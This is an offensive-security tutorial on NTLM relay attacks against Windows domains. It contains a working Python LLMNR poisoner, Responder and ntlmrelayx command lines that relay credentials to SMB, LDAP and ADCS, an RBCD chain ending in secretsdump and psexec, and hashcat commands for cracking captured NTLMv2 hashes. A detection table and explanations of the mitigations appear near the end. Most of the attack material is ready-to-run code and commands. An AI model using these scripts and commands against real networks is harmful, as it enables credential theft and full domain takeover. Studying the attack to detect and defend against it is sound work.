NTLM Relay Attacks
LLMNR/NBT-NS poisoning to force NTLM authentication, relaying credentials to SMB/LDAP/HTTP targets, Shadow Credentials via RBCD, capturing NTLMv2 hashes for offline cracking
You're on the internal network — no credentials yet. A developer types a mistyped server name in Windows Explorer. Windows falls back to LLMNR, broadcasting the name resolution request to the entire subnet. Your listener responds first, claiming to be that server. The developer's workstation sends NTLM authentication to your fake server. You relay it in real-time to the actual domain controller's LDAP service — and because the developer is a Domain Admin, you now have an authenticated LDAP session as Domain Admin. You use it to add a new computer with delegation rights and own the domain. NTLM relay is the most dangerous network-layer attack in enterprise environments — it works on default configurations in most networks.
NTLM Authentication — The Three-Way Handshake
Relay Concept — Man-in-the-Middle Authentication
LLMNR/NBT-NS Poisoning — Triggering NTLM Auth
LLMNR (Link-Local Multicast Name Resolution, port 5355 UDP) and NBT-NS (NetBIOS Name Service, port 137 UDP) are fallback name resolution protocols Windows uses when DNS fails. Any host on the subnet can respond. Poisoning works by responding to ANY query with your own IP — the victim then tries to authenticate to you:
#!/usr/bin/env python3
# Minimal LLMNR poisoner — respond to all queries with attacker IP
# Port 5355 UDP multicast (224.0.0.252)
import socket, struct, threading
MULTICAST_GROUP = '224.0.0.252'
LLMNR_PORT = 5355
ATTACKER_IP = '10.10.10.50' # your IP
def build_llmnr_response(query_data, attacker_ip):
"""Build LLMNR response claiming attacker_ip for any query."""
# Parse LLMNR query header (DNS-like format)
txid = query_data[:2]
flags = b'\x80\x00' # QR=1 (response), RCODE=0 (success)
qdcount = query_data[4:6] # question count
ancount = b'\x00\x01' # answer count = 1
nscount = b'\x00\x00'
arcount = b'\x00\x00'
header = txid + flags + qdcount + ancount + nscount + arcount
# Copy the question section verbatim
question = query_data[12:] # question starts after 12-byte header
# Build answer: same name, type A, class IN, TTL=30, rdata=attacker IP
# Use pointer to question name (compression): 0xC00C = pointer to offset 12
ip_bytes = socket.inet_aton(attacker_ip)
answer = (
b'\xc0\x0c' # name pointer to question
+ b'\x00\x01' # type A
+ b'\x00\x01' # class IN
+ struct.pack('>I', 30) # TTL
+ b'\x00\x04' # rdlength = 4
+ ip_bytes
)
return header + question + answer
def llmnr_poison_server():
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('', LLMNR_PORT))
# Join LLMNR multicast group
mreq = struct.pack("4sL", socket.inet_aton(MULTICAST_GROUP), socket.INADDR_ANY)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
print(f"[*] LLMNR poisoner listening on {LLMNR_PORT}")
while True:
data, addr = sock.recvfrom(512)
print(f"[+] LLMNR query from {addr[0]}")
resp = build_llmnr_response(data, ATTACKER_IP)
sock.sendto(resp, addr)
# Production: use Responder (Python) — handles LLMNR, NBT-NS, mDNS, WPAD
# sudo responder -I eth0 -rdw # -r=reply to all, -d=DHCP poisoning, -w=WPAD proxy
Responder — Capture and Poison
ntlmrelayx — Relay Engine
# ntlmrelayx usage patterns
# Basic: relay to all targets, execute command on SMB (requires target without signing)
ntlmrelayx.py -tf smb_targets.txt -c "whoami > C:\out.txt" -smb2support
# Relay to LDAP on DC — most powerful target
# Creates a new computer account in the domain (default impacket behavior)
ntlmrelayx.py -t ldap://dc01.corp.local --no-da --no-acl --no-validate-privs
# Relay to LDAP and add attacker-controlled account to Domain Admins
ntlmrelayx.py -t ldap://dc01.corp.local --escalate-user attacker_user
# Shadow Credentials attack via LDAP relay
ntlmrelayx.py -t ldap://dc01.corp.local --shadow-credentials --shadow-target 'TARGET_USER'
# Relay to LDAPS (LDAP over SSL) — bypasses some channel binding restrictions
ntlmrelayx.py -t ldaps://dc01.corp.local --add-computer COMPNAME COMPPASS
# ADCS (Active Directory Certificate Services) relay
# If a CA web enrollment endpoint exists, relay SMB auth to get a certificate
ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp \
--adcs --template DomainController
# targets.txt: one target per line
# 10.10.10.1 ← DC
# 10.10.10.50 ← file server (no SMB signing)
# ldap://dc01 ← explicit protocol prefix
SMB-to-LDAP Relay: RBCD and Shadow Credentials
Relaying to LDAP is the highest-impact path because LDAP lets you modify AD objects. Two main outcomes when you relay a privileged user to LDAP:
# RBCD flow after relay sets it up
# Step 1: Create a computer account (ntlmrelayx does this automatically with --add-computer)
addcomputer.py -computer-name 'ATTACKER01$' -computer-pass 'Abc123!@#' \
-dc-host dc01.corp.local 'corp.local/relayed_user:relayed_pass'
# Step 2: Set RBCD on target machine (write msDS-AllowedToActOnBehalfOfOtherIdentity)
rbcd.py -delegate-from 'ATTACKER01$' -delegate-to 'TARGET_PC$' \
-action write corp.local/domain_admin:password -dc-ip 10.10.10.1
# Step 3: Request a service ticket impersonating Administrator
getST.py -spn 'cifs/TARGET_PC.corp.local' \
-impersonate Administrator \
corp.local/'ATTACKER01$':'Abc123!@#' -dc-ip 10.10.10.1
# Step 4: Use the ticket
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass TARGET_PC.corp.local # dump all credentials
psexec.py -k -no-pass Administrator@TARGET_PC.corp.local
Capturing NTLMv2 Hashes for Offline Cracking
# NTLMv2 hash format captured by Responder:
# DOMAIN\username::hostname:server_challenge:NTLMv2response:blob
# Example:
# CORP\jsmith::WORKSTATION01:a4b3c2d1e0f9a8b7:4e3d2c1b0a9f8e7d6c5b4a3928170605:010100000...
# Crack with hashcat -m 5600 (NetNTLMv2)
hashcat -m 5600 ntlmv2_hashes.txt rockyou.txt
hashcat -m 5600 ntlmv2_hashes.txt rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
# For NTLMv1 (older systems, rare but still exists): hashcat -m 5500
# NTLMv1 is much faster to crack (no HMAC-MD5, just DES operations)
# GPU throughput (RTX 3090):
# NTLMv2 (m 5600): ~10 billion H/s — entire rockyou.txt in milliseconds
# NTLMv1 (m 5500): ~65 billion H/s — even faster
# Important: NTLMv2 hashes cannot be used for Pass-the-Hash
# You need to crack them to recover the plaintext password
# Then use the plaintext or the NT hash derived from it for PtH
# Get NT hash from plaintext:
python3 -c "import hashlib; print(hashlib.new('md4','Password123'.encode('utf-16-le')).hexdigest())"
Attack Target Matrix
| Relay Source | Relay Target | Requirement | Impact |
|---|---|---|---|
| SMB (victim → attacker) | SMB (attacker → target) | Target must have SMB signing disabled | Command execution on target as victim's identity |
| SMB (victim → attacker) | LDAP (attacker → DC) | LDAP signing not enforced (default) | AD object modification — RBCD, Shadow Credentials, account creation |
| HTTP/WPAD (victim → attacker) | LDAP (attacker → DC) | Victim browsing triggers WPAD/proxy auth | Same as SMB→LDAP but triggered via web proxy poisoning |
| SMB/HTTP (victim → attacker) | ADCS HTTP enrollment | ADCS web enrollment exists (common in enterprise) | Get a certificate for victim's identity → persistent access |
| HTTP WebDAV (victim → attacker) | SMB (target) | WebClient service running on victim | Code exec; WebDAV uses HTTP auth which works across protocol barrier |
SMB signing, when enforced on a target, cryptographically binds each SMB packet to the authenticated session. The relay attacker can pass the authentication, but when they try to use the session, the SMB packets they send are not signed with the actual session key — which they don't have (only the victim who knows the password has the session key). So signed SMB packets fail. This is why SMB-to-SMB relay only works against targets that don't enforce signing. Domain controllers always enforce SMB signing. By default, workstations and servers in Windows 2022+ have it enabled; older systems do not. LDAP relay is a workaround: LDAP signing is optional and much less commonly enforced than SMB signing.
Detection
| Signal | Source | Notes |
|---|---|---|
| LLMNR/NBT-NS traffic at scale or from non-expected hosts | Network monitoring | Production environments should have LLMNR and NBT-NS disabled — any such traffic is suspicious |
| NTLM auth to an unusual server not in known server list | DC Security Log (4776) | 4776 is NTLM validation at the DC; correlate source workstation vs target server |
| New computer object created by non-admin account | AD audit (4741) | Relay attacks often create a computer account; track who has MachineAccountQuota > 0 |
| msDS-AllowedToActOnBehalfOfOtherIdentity written on computer object | AD audit (5136) | RBCD attribute change — very low volume of legitimate writes; suspicious when written by unusual accounts |
| msDS-KeyCredentialLink written on account | AD audit (5136) | Shadow Credentials write — near-zero legitimate writes in environments not using WHfB |
Q&A
Why can't you relay NTLM authentication back to the same machine it came from?
Microsoft patched this in MS08-068 for SMB. When a client authenticates to a server using NTLM, the server generates a challenge. If someone tries to relay that authentication back to the originating machine (victim→attacker, attacker→victim), Windows detects that the challenge the attacker is sending to the victim is the same one the victim just sent out — it recognizes the loop and rejects it. This is called the "Loopback protection" and is implemented in the NTLM authentication path. This is why relay attacks must go to a different machine than the source. The path victim→attacker→victim is blocked. The path victim→attacker→other_server is allowed. For practical attacks: you get authentication from Workstation A (user is Domain Admin), you relay it to File Server B, or to the Domain Controller's LDAP. You cannot relay back to Workstation A. This is why building a target list of machines different from the source (and without SMB signing) is necessary for SMB relay, and why LDAP relay to the DC is often the highest-impact fallback when SMB targets are limited.
How does ADCS relay work and why is it so impactful?
Active Directory Certificate Services (ADCS) often includes a web enrollment interface at http://ca.corp.local/certsrv/. This web interface uses NTLM authentication. If you can relay NTLM credentials (from a Domain Controller computer account, for example, triggered via PetitPotam coercion) to the ADCS web enrollment, you can request a certificate on behalf of the coerced account. With a certificate for a Domain Controller computer account, you can use PKINIT (Kerberos with certificate auth) to get a TGT for that DC account. From that TGT you can perform DCSync (the DC account has Replication privileges). The chain: PetitPotam (coerce DC to connect to you) → relay HTTP NTLM to ADCS → get DC certificate → PKINIT → DC TGT → DCSync → all NT hashes → full domain compromise. This chain, called ESC8 in Will Schroeder's ADCS research, has no reliable mitigation short of disabling HTTP on ADCS enrollment or enabling EPA (Extended Protection for Authentication) / HTTPS with channel binding. It's one of the fastest paths from network access to full domain compromise in environments with ADCS.